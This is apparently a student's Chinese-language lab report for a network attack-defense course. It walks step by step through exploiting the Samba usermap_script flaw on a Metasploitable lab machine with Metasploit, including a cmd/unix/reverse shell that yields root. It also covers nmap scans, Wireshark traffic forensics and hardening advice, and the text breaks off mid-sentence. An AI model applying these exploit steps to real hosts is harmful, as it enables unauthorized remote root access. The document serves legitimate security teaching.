20253912 2025-2026-2 《网络攻防实践》第七次作业报告
20253912 2025-2026-2 《网络攻防实践》第七次作业报告
1. 知识点梳理与总结
本次第七次作业围绕 Linux 远程渗透、Samba 服务漏洞利用、Metasploit 自动化攻击、反向 Shell 建立以及攻防对抗流量分析 展开。与第六次作业中针对 Windows SMB/MS08-067 漏洞的远程渗透实验相比,本次实验的目标系统从 Windows 转向 Linux/Unix 环境,攻击入口从 Windows SMB/DCERPC 服务转向 Samba 文件共享服务,但二者在攻击链路上具有明显的一致性:都是通过网络服务暴露面触发远程命令执行,再通过 Payload 建立远程控制会话,最后借助 Wireshark 等工具从网络侧还原攻击过程。
从整体上看,本次实验重点不是简单运行一次 exploit,而是理解以下几个关键问题:
- 为什么 Samba 服务会成为 Linux 主机的重要攻击入口;
usermap_script漏洞如何从用户名映射功能演变为远程命令执行风险;- Metasploit 如何把漏洞模块、攻击载荷和会话管理组合成完整攻击流程;
cmd/unix/reverse反向 Shell 的通信逻辑是什么;- 防守方如何通过 Wireshark 抓包区分“漏洞利用流量”和“反向 Shell 会话流量”;
- 攻防对抗中如何从攻击端、靶机端和网络流量三个角度形成证据链。
也就是说,本次作业的核心目标可以概括为:以 Samba Usermap Script 远程命令执行漏洞为入口,完成一次 Linux 主机远程渗透,并从攻防双方视角解释攻击发生、会话建立和流量取证的完整过程。
1.1 Metasploit 渗透测试框架
Metasploit 是网络攻防实验中常用的渗透测试框架,它将漏洞利用过程进行了模块化封装。一次典型的 Metasploit 攻击通常包含以下环节:
| 组成部分 | 作用 | 本次实验中的体现 |
|---|---|---|
| Exploit | 漏洞利用模块,用于触发目标服务缺陷 | exploit/multi/samba/usermap_script |
| Payload | 攻击载荷,决定漏洞触发成功后执行什么动作 | cmd/unix/reverse |
| Options | 模块参数,用于指定目标地址、监听地址和端口等 | RHOST、LHOST、RPORT 等 |
| Session | 漏洞利用成功后返回的远程会话 | Linux 命令行 Shell |
| Post-exploitation | 后渗透验证或进一步操作 | 执行 ifconfig、查看权限、验证主机身份 |
在本次实验中,Metasploit 的价值不只是“自动化攻击”,更重要的是帮助我们清晰观察一条完整攻击链:
确认网络连通 → 查找漏洞模块 → 载入 exploit → 选择 payload → 设置
RHOST/LHOST→ 执行 exploit → 建立反向 Shell → 验证权限与目标主机身份 → 抓包分析攻击痕迹。
这种流程化操作让渗透测试更加规范,也让防守方能够按照相同链路反向分析攻击证据。
1.2 Samba 与 SMB/CIFS 文件共享服务
Samba 是 Linux/Unix 系统中实现 SMB/CIFS 协议的重要软件,主要用于让 Linux 主机能够与 Windows 主机进行文件共享、打印共享和网络资源访问。由于 SMB/CIFS 协议最初广泛应用于局域网共享场景,因此 Samba 经常暴露在内网环境中,成为攻击者横向移动、服务探测和漏洞利用的重要目标。
在安全分析中,Samba 服务的风险主要体现在以下方面:
- 服务暴露面大:如果主机开放 139 或 445 端口,攻击者就可以尝试识别 Samba 版本、枚举共享资源或探测历史漏洞。
- 版本差异明显:旧版本 Samba 可能存在远程命令执行、匿名访问、权限绕过等问题。
- 配置依赖强:Samba 的安全性不仅取决于软件版本,也取决于共享权限、用户映射、匿名访问、脚本调用等配置。
- 与系统权限关系密切:如果 Samba 服务以较高权限运行,漏洞一旦触发,攻击者可能直接获得高权限 Shell。
因此,本次实验选择 Samba 作为攻击对象,能够很好地说明 Linux 服务配置缺陷与远程命令执行之间的关系。
1.3 Samba Usermap Script 漏洞原理
本次实验利用的是 Samba 服务中的 Usermap Script 远程命令执行漏洞。该漏洞通常与 Samba 的用户名映射功能有关。用户名映射的本意是将远程客户端传入的用户名转换为本地系统可识别的用户身份,例如把 Windows 用户名映射到 Linux 本地用户。
问题在于,部分存在缺陷的 Samba 版本在处理用户名映射脚本时,没有对外部输入进行充分过滤和安全校验。如果攻击者在用户名字段中构造特殊字符或命令片段,就可能诱导服务端在执行映射脚本时附带执行系统命令,最终造成远程命令执行。
从攻击链角度看,该漏洞可以抽象为:

该漏洞的危险性在于,攻击者不需要提前获取目标系统账号口令,只要目标 Samba 服务存在漏洞并且网络可达,就可能远程执行命令。与弱口令登录不同,这属于典型的 服务端远程命令执行漏洞(Remote Command Execution,RCE)。
1.4 反向 Shell 与 cmd/unix/reverse Payload
本次实验选择的 Payload 为:
cmd/unix/reverse
该载荷属于 Unix/Linux 环境下的反向 Shell。它的基本工作机制是:漏洞利用成功后,靶机主动向攻击机指定的监听地址和监听端口发起连接,并把命令行输入输出绑定到该连接上,使攻击者能够在本地 Metasploit 控制台中操作远程 Linux Shell。
反向 Shell 的关键参数是:
| 参数 | 含义 | 配置重点 |
|---|---|---|
RHOST |
Remote Host,远程目标主机地址 | 必须填写靶机 IP |
LHOST |
Local Host,本地监听主机地址 | 必须填写攻击机可被靶机访问到的 IP |
LPORT |
本地监听端口 | 常见默认值为 4444 |
RPORT |
目标服务端口 | 对应 Samba 服务端口,常见为 139 或 445 |
这里需要特别注意:漏洞利用入口端口和 Shell 回连端口不是同一个概念。
- Samba 漏洞利用阶段,攻击者访问的是靶机的 Samba 服务端口,通常是
139或445; - 反向 Shell 建立阶段,靶机会主动连接攻击机的监听端口,实验中常见为
4444; - 因此,Wireshark 中看到
4444端口通信时,通常说明攻击已经进入会话控制阶段,而不是说明目标主机的 Samba 服务运行在 4444 端口。
这一点是本次抓包分析的重点,也是容易出错的地方。
1.5 Nmap 服务识别与漏洞扫描
在攻防对抗实践中,实验使用了 Nmap 对目标主机进行服务识别和漏洞脚本扫描。Nmap 在攻击链中处于“信息收集与攻击面确认”阶段,它的作用不是直接入侵,而是帮助攻击者判断目标暴露了哪些端口、运行了哪些服务、服务版本是否存在已知漏洞。
常用命令包括:
nmap -sV 目标IP
nmap --script smb-vuln 目标IP
其中:
-sV用于识别服务版本,帮助判断目标服务类型;--script smb-vuln用于调用 Nmap 脚本引擎检测 SMB/Samba 相关漏洞;- 扫描结果可以为后续选择 Metasploit 模块提供依据。
在本次实验中,Nmap 扫描显示目标主机开放了 FTP、SSH、Telnet、SMTP、HTTP 等多个服务,说明 Metasploitable 靶机攻击面较大;同时通过 SMB/Samba 相关脚本可以进一步确认服务存在潜在漏洞,为后续使用 usermap_script 模块提供了依据。
1.6 Wireshark 在本次攻防分析中的作用
Wireshark 在本次实验中承担了网络取证分析工具的角色。攻击方看到的是 Metasploit 中返回了 Shell,但防守方需要从网络流量中回答:攻击从哪里来、打向哪里、利用了什么服务、成功后做了什么。
本次抓包分析重点包括:
- 确认通信双方:识别攻击机 IP 和靶机 IP;
- 确认攻击入口:观察是否存在访问 Samba 服务端口的流量;
- 确认回连会话:观察是否出现靶机到攻击机监听端口的反向连接;
- 还原命令交互:通过 Follow TCP Stream 查看攻击成功后输入的命令;
- 区分不同阶段:把漏洞触发流量和 Shell 会话流量分开分析。
从防守角度看,Wireshark 不只是“看包”的工具,而是帮助我们把攻击行为转化为证据链:
攻击机发起连接 → 靶机 Samba 服务响应 → Payload 触发 → 靶机回连攻击机 → 攻击者执行命令 → 流量中出现命令输入和回显。
1.7 作业之间的联系
本次第七次作业不是孤立的一次漏洞利用实验,而是前几次作业内容的延伸和综合应用。
(1)与第二次作业的联系:从信息收集到漏洞利用
第二次作业主要围绕信息收集、端口扫描、服务识别和漏洞发现展开,重点是回答“目标暴露了哪些服务、可能存在什么风险”。本次第七次作业在攻防对抗部分继续使用了 Nmap 的 -sV 和 smb-vuln 脚本扫描目标主机,先确认目标服务和漏洞,再使用 Metasploit 进行利用。
因此,第二次作业是本次作业的前置基础:
第二次作业发现攻击面,本次作业验证攻击面。
如果没有前期扫描,就难以判断为什么选择 Samba 服务、为什么使用 usermap_script 模块。
(2)与第三次作业的联系:从协议分析到攻击流量取证
第三次作业重点训练了 Wireshark、tcpdump、协议字段观察和 TCP 流追踪能力。本次实验则把这些能力用于真实攻击过程复盘:不仅要看到 TCP、SMB 等协议,还要判断这些流量分别属于漏洞利用、反向连接还是命令交互。
也就是说,第三次作业教会我们“怎么看流量”,本次作业要求我们“根据流量解释攻击”。
(3)与第四次作业的联系:从协议缺陷到服务漏洞
第四次作业主要分析 ARP 欺骗、ICMP 重定向、SYN Flood、TCP RST、会话劫持等协议层攻击,强调网络协议在认证、完整性和状态管理上的安全风险。本次第七次作业虽然攻击对象变成了 Samba 应用服务,但本质上仍然体现了“协议与服务实现存在缺陷时,攻击者可以把正常交互转化为攻击入口”。
区别在于:第四次作业偏底层协议攻击,本次作业偏服务端漏洞利用;但两者都说明网络通信过程中的信任机制和输入处理非常关键。
(4)与第五次作业的联系:从防御部署到攻击检测
第五次作业学习了 iptables、防火墙、Snort IDS、Honeywall 蜜网等防御技术。本次第七次作业的攻击过程正好说明这些防御措施为什么重要:
- 防火墙可以限制外部访问 Samba 的 139/445 端口;
- Snort 可以检测异常 SMB/Samba 请求和反向 Shell 流量;
- Honeywall 可以捕获攻击者回连、命令输入和后续操作;
- 出站控制可以阻止靶机主动连接攻击机监听端口。
因此,第五次作业回答“如何部署防御”,本次作业通过攻击实践说明“防御要拦在哪些关键点”。
(5)与第六次作业的联系:从 Windows SMB 攻击到 Linux Samba 攻击
第六次作业使用 Metasploit 对 Windows 靶机的 MS08-067 漏洞进行利用,攻击入口是 Windows SMB/DCERPC 服务。本次第七次作业同样使用 Metasploit,但目标变为 Linux 上的 Samba 服务。
二者之间的联系非常明显:
| 对比项 | 第六次作业 | 第七次作业 |
|---|---|---|
| 目标系统 | Windows | Linux/Metasploitable |
| 攻击入口 | SMB/DCERPC | Samba SMB/CIFS |
| 漏洞类型 | MS08-067 远程代码执行 | Usermap Script 远程命令执行 |
| 工具框架 | Metasploit | Metasploit |
| Payload | 反向 Shell | cmd/unix/reverse 反向 Shell |
| 分析方式 | Wireshark 取证 | Wireshark 攻防对抗分析 |
第六次作业让我们理解 Windows 远程服务漏洞如何被利用,本次作业进一步扩展到 Linux 服务漏洞场景。两次实验共同说明:无论是 Windows 还是 Linux,只要网络服务存在远程命令执行漏洞,攻击者都可能通过框架化工具快速获得系统控制权。
1.8 知识拓扑图
如图所示:

2. 实践过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
2.1.1 实验要求
本实验要求使用 Metasploit 渗透测试框架,攻击 Linux 靶机上的 Samba 服务 usermap_script 安全漏洞,获取目标 Linux 靶机的主机访问权限。
实验步骤如下:
- 启动 Metasploit 软件,可使用
msfconsole、msfgui或msfweb; - 使用
exploit/multi/samba/usermap_script渗透攻击模块; - 选择攻击 Payload 为远程 Shell;
- 设置渗透攻击参数;
- 执行渗透攻击;
- 查看是否正确获得远程 Shell,并确认获得的权限。
本实验采用 msfconsole 作为操作界面,使用 cmd/unix/reverse 作为反向 Shell 载荷。
2.1.2 实验环境配置
由于上次实验中曾经修改过虚拟网络配置,因此本次实验开始前需要先检查 VMware 虚拟网络编辑器中的网络模式。打开“编辑 → 虚拟网络编辑器 → 更改设置”,将桥接模式调整为自动。

图示说明: 该图展示了 VMware 虚拟网络编辑器中的桥接模式配置。桥接模式的作用是让虚拟机直接接入当前物理网络,使 Kali 攻击机和 Metasploitable 靶机能够像局域网中的两台真实主机一样通信。若桥接网卡选择错误,可能导致虚拟机无法获取正确 IP,进而影响后续的 Ping 测试和漏洞利用。
随后检查 Kali 虚拟机网络适配器,将其设置为 VMnet0 模式。

图示说明: 该图展示 Kali 虚拟机的网络适配器设置。VMnet0 通常对应桥接网络,能够让 Kali 与靶机处于同一网络环境中。本步骤的意义在于保证攻击机能够直接访问靶机的 Samba 服务端口,否则即使漏洞存在,Metasploit 也无法与目标服务建立连接。
由于 Metasploitable 虚拟机网络配置未做明显更改,因此本步骤主要确认 Kali 端配置即可。网络配置完成后,分别查看 Kali 攻击机和 Metasploitable 靶机的 IP 地址。
Kali 虚拟机 IP 地址查看结果如下:

图示说明: 该图用于确认 Kali 攻击机当前网络接口和 IP 地址。该 IP 后续需要作为
LHOST的参考,因为反向 Shell 成功后,靶机会主动连接回攻击机。如果LHOST填写错误,即使漏洞触发成功,也可能无法收到 Shell。
Metasploitable 靶机 IP 地址查看结果如下:

图示说明: 该图用于确认 Metasploitable 靶机 IP 地址。该 IP 后续需要作为
RHOST,即 Metasploit 攻击模块的远程目标地址。攻击前必须明确攻击机和靶机 IP,避免由于地址填写错误造成攻击失败或误打其他主机。
根据实验记录,本阶段主机角色如下:
| 虚拟机名称 | IP 地址 | 实验角色 |
|---|---|---|
| Kali 攻击机 | 172.16.209.244 | 运行 Metasploit,接收反向 Shell |
| Metasploitable 靶机 | 172.16.212.82 | 存在 Samba Usermap Script 漏洞 |
补充说明: 实验过程中如果切换了 VMnet、NAT 或桥接网络,IP 地址可能发生变化。实际操作时应始终以当前
ifconfig/ip addr查询结果为准,并按照“RHOST填靶机地址,LHOST填攻击机地址”的原则配置参数。
2.1.3 连通性测试
在正式攻击前,需要对攻击机和靶机进行互 Ping,确认双方网络是否可达。
Kali 端测试如下:

图示说明: 该图显示 Kali 攻击机向靶机发送 ICMP Echo Request 并收到 Echo Reply,说明从攻击机到靶机方向的网络路径是通的。该步骤可以排除“网络不通导致 Metasploit 攻击失败”的问题。
Metasploitable 端测试如下:

图示说明: 该图显示 Metasploitable 靶机也能够与攻击机通信。由于本次使用的是反向 Shell,靶机需要主动连接回攻击机,因此只验证攻击机到靶机方向还不够,还应关注靶机到攻击机方向是否可达。
连通性测试成功后,说明攻击机和靶机处于可通信状态,可以进入漏洞利用阶段。
2.1.4 启动 Metasploit
在 Kali 攻击机中输入以下命令启动 Metasploit 控制台:
msfconsole

图示说明: 该图表示 Metasploit Framework 已成功启动并进入
msfconsole交互界面。后续漏洞模块搜索、模块加载、Payload 配置、参数设置和攻击执行都将在该控制台中完成。
2.1.5 查找 Samba Usermap Script 漏洞模块
在 Metasploit 中使用以下命令查找目标漏洞模块:
search usermap_script

图示说明: 该图显示
search usermap_script的搜索结果。可以看到 Metasploit 中存在exploit/multi/samba/usermap_script模块,说明框架已经内置了针对 Samba Usermap Script 漏洞的利用模块。搜索模块的意义在于确认 exploit 名称、适用平台和模块路径,避免后续误用其他漏洞模块。
2.1.6 载入漏洞利用模块
使用以下命令载入攻击模块:
use 0
# 或者
use exploit/multi/samba/usermap_script
使用 use 0 启动模块:

图示说明: 该图显示通过搜索结果编号
use 0进入漏洞模块上下文。进入模块后,Metasploit 提示符会发生变化,说明当前操作对象已经切换为 Samba Usermap Script exploit。后续设置的 Payload 和参数都会作用于该模块。
使用完整模块路径启动模块:

图示说明: 该图展示了通过完整路径
use exploit/multi/samba/usermap_script启动模块的方式。相比use 0,完整模块路径更清晰,适合写入实验报告,也便于他人复现实验过程。
2.1.7 查看并选择攻击载荷
模块载入后,使用以下命令查看可用 Payload:
show payloads

图示说明: 该图显示当前漏洞模块可搭配的 Payload 列表。由于目标是 Linux/Unix 系统,本实验选择
cmd/unix/reverse这类 Unix 命令型反向 Shell 载荷。Payload 的选择直接决定漏洞触发成功后靶机执行什么操作。
使用以下命令选择反向 Shell Payload:
set payload cmd/unix/reverse
# 或者根据列表序号设置
set payload 20

图示说明: 该图显示通过
set payload 20设置攻击载荷。cmd/unix/reverse的作用是在漏洞利用成功后,让靶机主动向攻击机回连并返回一个命令行 Shell。该 Payload 适用于 Unix/Linux 目标环境。
2.1.8 查看并配置关键参数
在执行攻击前,使用以下命令查看模块需要配置的参数:
show options

图示说明: 该图展示当前 exploit 和 payload 的参数列表。重点需要检查
RHOST、RPORT、LHOST、LPORT等字段。其中RHOST是靶机地址,LHOST是攻击机监听地址,LPORT是反向连接监听端口。参数配置错误是 Metasploit 实验中最常见的失败原因之一。
使用以下命令设置参数,并再次检查:
set LHOST 192.168.200.3
set RHOST 192.168.200.123
show options

图示说明: 该图展示了
LHOST和RHOST的设置过程。这里的关键原则是:RHOST必须指向靶机,LHOST必须指向攻击机。由于反向 Shell 需要靶机主动连接攻击机,如果LHOST不是靶机可访问的地址,攻击很可能无法返回 Shell。
2.1.9 执行漏洞利用并获得 Shell
参数确认无误后,执行以下命令发起攻击:
exploit

图示说明: 该图显示执行
exploit后,Metasploit 成功建立了远程 Shell 会话。出现 shell 提示信息说明漏洞利用成功,Payload 已在目标主机上执行,并且目标主机已经向攻击机建立了反向连接。
攻击成功后,使用 ifconfig 命令确认当前 Shell 所在主机的网络信息:

图示说明: 该图显示在远程 Shell 中执行
ifconfig后返回了靶机的网络接口信息。该结果能够证明当前命令确实是在 Metasploitable 靶机上执行,而不是本地 Kali 终端。实验结果显示获得的权限为root,说明该漏洞利用成功后具备较高的系统控制能力。
2.1.10 本节攻击链总结
本节实验可以概括为以下攻击链:
| 阶段 | 操作 | 作用 |
|---|---|---|
| 网络准备 | 配置 VMnet0/桥接网络 | 保证攻击机与靶机可通信 |
| 地址确认 | 查看 Kali 与 Metasploitable IP | 为 RHOST/LHOST 配置提供依据 |
| 连通测试 | 双向 Ping | 验证网络路径是否正常 |
| 模块选择 | search usermap_script、use exploit/multi/samba/usermap_script |
指定 Samba 漏洞利用模块 |
| Payload 设置 | set payload cmd/unix/reverse |
指定反向 Shell 载荷 |
| 参数配置 | 设置 RHOST、LHOST |
明确攻击目标与回连地址 |
| 漏洞利用 | exploit |
触发远程命令执行漏洞 |
| 权限验证 | ifconfig、查看权限 |
确认进入目标主机并获得控制权 |
综合来看,本实验说明 Samba Usermap Script 漏洞一旦被成功利用,攻击者可以在无需正常登录的情况下获得目标 Linux 主机的命令执行能力。
2.2 攻防对抗实践
2.2.1 实验要求
本部分要求在攻防对抗环境中完成以下任务:
- 攻击方:使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得 root 权限;
- 防守方:使用 tcpdump、Wireshark 或 Snort 监听并保存网络攻击数据包,结合 Wireshark/Snort 分析攻击过程,提取攻击者 IP、目标 IP、目标端口、攻击发起时间、利用漏洞、使用 Payload/Shellcode 以及攻击成功后在命令行输入的信息。
该部分与 2.1 的区别在于:2.1 更强调单机漏洞复现,2.2 更强调攻防双方协作和取证分析。也就是说,不仅要攻击成功,还要能够从流量中解释攻击是如何发生的。
2.2.2 攻防环境与角色分工
本次对抗与马健存同学共同完成,主机角色如下:
| 虚拟机名称 | IP 地址 | 实验角色 |
|---|---|---|
| Kali 攻击机(自己) | 192.168.3.18 | 攻击方,运行 Metasploit |
| Metasploitable 靶机(马健存) | 192.168.3.19 | 防守方/靶机,运行存在漏洞的 Samba 服务 |
说明: 攻防对抗中最容易出现的问题是混淆攻击机和靶机地址。根据本次实验记录和 Wireshark 过滤结果,后文以
192.168.3.18作为攻击机地址,以192.168.3.19作为靶机地址。实际配置 Metasploit 时应遵循:RHOST = 靶机 IP,LHOST = 攻击机 IP。
2.2.3 连通性测试
正式攻击前,首先进行连通性测试。
Kali 攻击机测试如下:

图示说明: 该图显示 Kali 攻击机能够与目标主机通信,说明攻击机到靶机方向网络可达。只有在网络连通的情况下,后续端口扫描和漏洞利用才具有意义。
Metasploitable 靶机测试如下:

图示说明: 该图显示靶机侧也能够进行网络连通性验证。由于本次 Payload 为反向 Shell,靶机需要主动连接回攻击机,因此双向连通性对于实验成功非常关键。
2.2.4 Nmap 服务识别
使用以下命令扫描目标主机开放端口和服务版本:
nmap -sV 192.168.3.19

图示说明: 该图为 Nmap 服务版本扫描结果。扫描结果显示目标主机开放了多个常见服务端口,包括 FTP、SSH、Telnet、SMTP、HTTP 以及 SMB/Samba 相关端口。开放服务越多,攻击面越大,攻击者可以从不同服务入手寻找漏洞。对于本实验而言,重点关注的是 SMB/Samba 服务,因为后续漏洞利用模块正是针对 Samba 的
usermap_script漏洞。
从攻防角度看,nmap -sV 属于攻击前的信息收集阶段。它帮助攻击者回答三个问题:目标是否在线、开放了哪些服务、这些服务可能是什么版本。防守方如果在网络中看到大量端口探测,也可以将其视为攻击前兆。
2.2.5 Nmap 漏洞脚本扫描
继续使用以下命令扫描 SMB/Samba 相关漏洞:
nmap --script smb-vuln 192.168.3.19

图示说明: 该图展示了 Nmap 脚本引擎对 SMB/Samba 相关漏洞的检测结果。通过漏洞脚本扫描,可以进一步判断目标主机是否存在已知安全风险。扫描结果中出现的 SSL POODLE、Logjam、弱 Diffie-Hellman、Slowloris 等问题,说明该靶机系统版本较旧、服务配置偏弱,整体攻击面较大。
需要注意的是,Nmap 漏洞扫描并不等同于漏洞利用。它主要用于确认风险和辅助选择攻击路径。本次真正用于获取 Shell 的漏洞仍然是 Samba Usermap Script 远程命令执行漏洞,对应 Metasploit 模块为:
exploit/multi/samba/usermap_script
2.2.6 攻击方启动 Metasploit
确认目标存在可利用服务后,在 Kali 攻击机中启动 Metasploit:
msfconsole

图示说明: 该图显示攻击方进入 Metasploit 控制台。与 2.1 单机实验类似,团队对抗中仍然使用该框架完成漏洞模块选择、Payload 设置和攻击执行。
2.2.7 载入 Samba Usermap Script 模块
使用以下命令载入漏洞利用模块:
use exploit/multi/samba/usermap_script

图示说明: 该图显示攻击方已进入
exploit/multi/samba/usermap_script模块上下文。此时 Metasploit 已经明确本次攻击目标是 Samba Usermap Script 漏洞,后续需要继续配置 Payload 和目标参数。
2.2.8 查看 Payload 列表
模块载入后,查看可用 Payload:
show payloads

图示说明: 该图展示该漏洞模块支持的 Payload 列表。由于目标为 Linux/Unix 环境,反向 Shell 类 Payload 更适合本次实验。攻击成功后,靶机会主动回连攻击机,从而建立交互式命令行会话。
2.2.9 配置攻击参数并检查
配置参数时,原则上应保证:
set payload cmd/unix/reverse
set RHOST 192.168.3.19
set LHOST 192.168.3.18
show options
实验截图中的参数配置过程如下:

图示说明: 该图展示了参数设置过程。
show options可以帮助攻击者在执行攻击前检查RHOST、LHOST、RPORT、LPORT是否配置正确。对于反向 Shell 来说,LHOST是否填写为攻击机可达 IP 是实验成功的关键。

图示说明: 该图继续展示了参数检查结果。报告分析时应重点关注地址角色是否一致:
RHOST应为靶机地址,LHOST应为攻击机地址。若截图中地址与角色表存在差异,实际操作应以当前实验环境和抓包结果为准。
2.2.10 执行攻击并获得 Shell
执行以下命令发起漏洞利用:
exploit

图示说明: 该图显示执行
exploit后攻击成功,Metasploit 返回了远程 Shell。此时攻击链已经从“服务探测”进入“远程控制”阶段。出现 Shell 会话说明目标 Samba 服务的漏洞被成功触发,并且 Payload 已经完成回连。
攻击成功后,使用 ifconfig 等命令验证当前 Shell 是否位于靶机环境中。

图示说明: 该图显示在远程 Shell 中执行命令后返回了目标系统网络信息。通过比对 IP 地址,可以确认当前命令执行环境确实是 Metasploitable 靶机,而不是攻击机本地终端。

图示说明: 该图进一步展示攻击成功后的命令执行结果。此类截图可以作为攻击端证据,证明攻击者已经能够在目标主机上执行系统命令。

图示说明: 该图继续展示 Shell 会话中的操作信息。结合前后截图,可以证明本次攻击并非一次单独命令执行,而是建立了可持续交互的命令行会话。
2.2.11 Wireshark 流量过滤与分析
攻击完成后,防守方使用 Wireshark 对攻击流量进行过滤和分析。根据实验记录,过滤后的流量中可以看到:
- 源 IP 地址:
192.168.3.18,即 Kali 攻击机; - 目的 IP 地址:
192.168.3.19,即 Metasploitable 靶机; - 攻击入口服务:Samba/SMB 服务,通常关注
139或445端口; - 反向 Shell 会话端口:
4444; - 主要协议:TCP、SMB/Samba 相关通信以及后续 Shell 会话流量。
Wireshark 过滤界面如下:

图示说明: 该图展示 Wireshark 中过滤后的攻击相关流量。可以看到攻击机与靶机之间存在明显 TCP 通信。分析时应首先确定通信方向:攻击机主动访问靶机 Samba 服务属于漏洞利用阶段,靶机主动连接攻击机监听端口则属于反向 Shell 阶段。

图示说明: 该图进一步展示了攻击流量细节。防守方可以根据源地址、目的地址、端口号、协议类型和时间戳,定位攻击发起时间和攻击路径。若结合 Follow TCP Stream,还可以进一步观察攻击成功后的命令输入与回显。

图示说明: 该图显示了过滤后的另一段相关流量。该阶段的重点是把网络数据与攻击端操作对应起来:Metasploit 执行
exploit后,网络中先出现面向 Samba 服务的攻击流量,随后出现 Shell 回连流量,最后在 TCP 会话中承载命令交互内容。
2.2.12 攻防对抗取证结论
结合攻击端截图、靶机验证结果和 Wireshark 抓包分析,可以得到以下结论:
| 分析项目 | 结论 |
|---|---|
| 攻击者 IP | 192.168.3.18 |
| 目标主机 IP | 192.168.3.19 |
| 攻击入口服务 | Samba/SMB 服务 |
| 漏洞利用端口 | 通常为 139/445,具体以抓包中 Samba 服务连接为准 |
| 反向 Shell 端口 | 4444 |
| 利用漏洞 | Samba Usermap Script 远程命令执行漏洞 |
| Metasploit 模块 | exploit/multi/samba/usermap_script |
| 使用 Payload | cmd/unix/reverse |
| 攻击成功后操作 | 执行 ifconfig 等命令验证主机身份和权限 |
| 攻击结果 | 成功获得 Metasploitable 靶机 Shell,权限为 root |
需要强调的是,4444 更准确地说是反向 Shell 的监听/回连端口,而不是漏洞本身的服务入口端口。本次实验的攻击入口仍然是 Samba 服务,4444 代表攻击成功后的远程控制会话。
2.2.13 攻防过程关联总结
本次攻防对抗可以按如下链路理解:
| 顺序 | 阶段 | 具体操作 | 作用 |
|---|---|---|---|
| 1 | 网络准备 | 确认两台虚拟机在同一局域网 | 保证攻击与回连可达 |
| 2 | 连通性测试 | Ping 攻击机和靶机 | 排除网络故障 |
| 3 | 服务扫描 | nmap -sV |
识别开放端口和服务版本 |
| 4 | 漏洞确认 | nmap --script smb-vuln |
判断目标是否存在相关漏洞 |
| 5 | 模块选择 | 使用 usermap_script exploit |
指定攻击入口 |
| 6 | Payload 设置 | cmd/unix/reverse |
建立反向 Shell |
| 7 | 参数配置 | 设置 RHOST/LHOST |
绑定目标地址和回连地址 |
| 8 | 发起攻击 | exploit |
触发漏洞并执行 Payload |
| 9 | 权限验证 | ifconfig 等命令 |
确认进入靶机 |
| 10 | 流量分析 | Wireshark 过滤与追踪 TCP 流 | 还原攻击过程 |
综合来看,2.2 攻防对抗实践完成了从攻击到取证的闭环:攻击端证明漏洞可以被利用,靶机端证明命令确实落地,网络侧证明攻击流量真实存在。
3. 实验结果综合分析与防护建议
3.1 实验结果分析
通过本次实验可以确认,Metasploitable 靶机上的 Samba 服务存在高危远程命令执行风险。攻击者在网络可达的前提下,可以通过 Metasploit 的 exploit/multi/samba/usermap_script 模块构造恶意请求,使靶机执行 cmd/unix/reverse Payload,并主动向攻击机建立反向 Shell 会话。
从攻击结果看,本次实验实现了以下目标:
- 成功完成攻击机与靶机的网络环境配置;
- 成功识别目标主机 IP 和开放服务;
- 成功使用 Nmap 对目标进行服务识别和漏洞探测;
- 成功载入 Metasploit Samba 漏洞利用模块;
- 成功设置反向 Shell Payload 和关键参数;
- 成功获得靶机 Shell;
- 通过
ifconfig等命令确认当前会话位于靶机环境中; - 通过 Wireshark 抓包观察到攻击与回连流量。
这说明漏洞利用不是单一命令产生的结果,而是网络连通、服务暴露、漏洞存在、参数正确和 Payload 回连共同作用的结果。
3.2 攻击链分析
本次攻击链可以总结为:

这条链路体现了典型远程渗透流程:前期信息收集决定攻击入口,中期漏洞利用决定是否获得权限,后期流量分析决定能否复盘攻击过程。
3.3 防护建议
针对 Samba Usermap Script 类远程命令执行漏洞,可以从以下几个方面进行防护:
-
及时升级 Samba 版本
对存在历史漏洞的 Samba 版本,应及时升级到安全版本,避免已知漏洞被直接利用。 -
关闭危险配置项
禁止不必要的username map script等高风险配置,避免外部输入被拼接到系统命令中执行。 -
限制 SMB/Samba 端口访问范围
通过防火墙限制 139/445 端口访问,仅允许可信主机访问文件共享服务,避免服务暴露给不必要的网络范围。 -
最小权限运行服务
Samba 服务不应以过高权限运行,降低漏洞被利用后的危害范围。 -
部署 IDS/IPS 检测规则
使用 Snort、Suricata 等工具监测异常 SMB/Samba 请求、可疑命令注入特征和反向 Shell 通信。 -
加强出站连接控制
反向 Shell 依赖靶机主动连接攻击机。如果限制服务器出站连接,尤其是异常高端口外连,可以有效阻断部分回连型攻击。 -
日志与流量联动分析
将系统日志、Samba 日志和网络抓包结合起来分析,能够更完整地判断攻击时间、攻击来源和攻击后行为。
4. 实验中可能遇到的问题及解决
4.1 问题一:Metasploit 攻击失败,无法获得反向 Shell
问题表现:
执行 exploit 后,Metasploit 长时间停留在监听状态,没有返回 Shell;或者提示连接超时、目标不可达、session 无法建立。有时扫描结果显示目标服务存在,但实际利用仍然失败。
原因分析:
该问题通常由以下几类原因导致:
- 攻击机与靶机不在同一网段,或者 VMware 网络模式配置不一致;
RHOST设置错误,导致攻击没有打到真正的靶机;LHOST设置错误,靶机无法连接回攻击机;- 靶机防火墙或网络策略拦截了回连端口;
- Samba 服务版本与漏洞模块不匹配,或者目标服务未正常运行;
- 虚拟机 IP 发生变化,但参数仍使用旧地址。
解决方案:
首先使用 ifconfig、ip addr 或 ipconfig 重新确认攻击机和靶机 IP;然后通过 ping 测试双向连通性;接着用 nmap -sV 目标IP 确认 Samba 服务是否开放;最后回到 Metasploit 中使用 show options 检查 RHOST、LHOST、RPORT、LPORT 和 Payload 是否正确。若仍失败,可以尝试切换虚拟机网络模式、关闭靶机防火墙或重新启动 Samba 服务。
4.2 问题二:Wireshark 中流量较多,难以判断攻击入口和回连端口
问题表现:
抓包结果中出现大量 TCP、ARP、SMB、HTTP 等流量,难以判断哪一部分是漏洞利用流量,哪一部分是攻击成功后的 Shell 会话流量。特别是看到 4444 端口通信时,容易误认为目标服务端口就是 4444。
原因分析:
该问题本质上是攻击阶段划分不清。Samba 漏洞利用阶段通常面向靶机的 139/445 端口,而 4444 端口一般是攻击机监听的反向 Shell 端口。漏洞利用流量和 Shell 回连流量在通信方向、端口含义和承载内容上都不同。如果只看单个数据包,不结合整个攻击链,就容易出现误判。
解决方案:
分析时应按照“攻击链阶段”逐步过滤:
- 使用
ip.addr == 192.168.3.18 && ip.addr == 192.168.3.19定位攻击双方通信; - 使用
tcp.port == 139 || tcp.port == 445查找 Samba 漏洞利用入口; - 使用
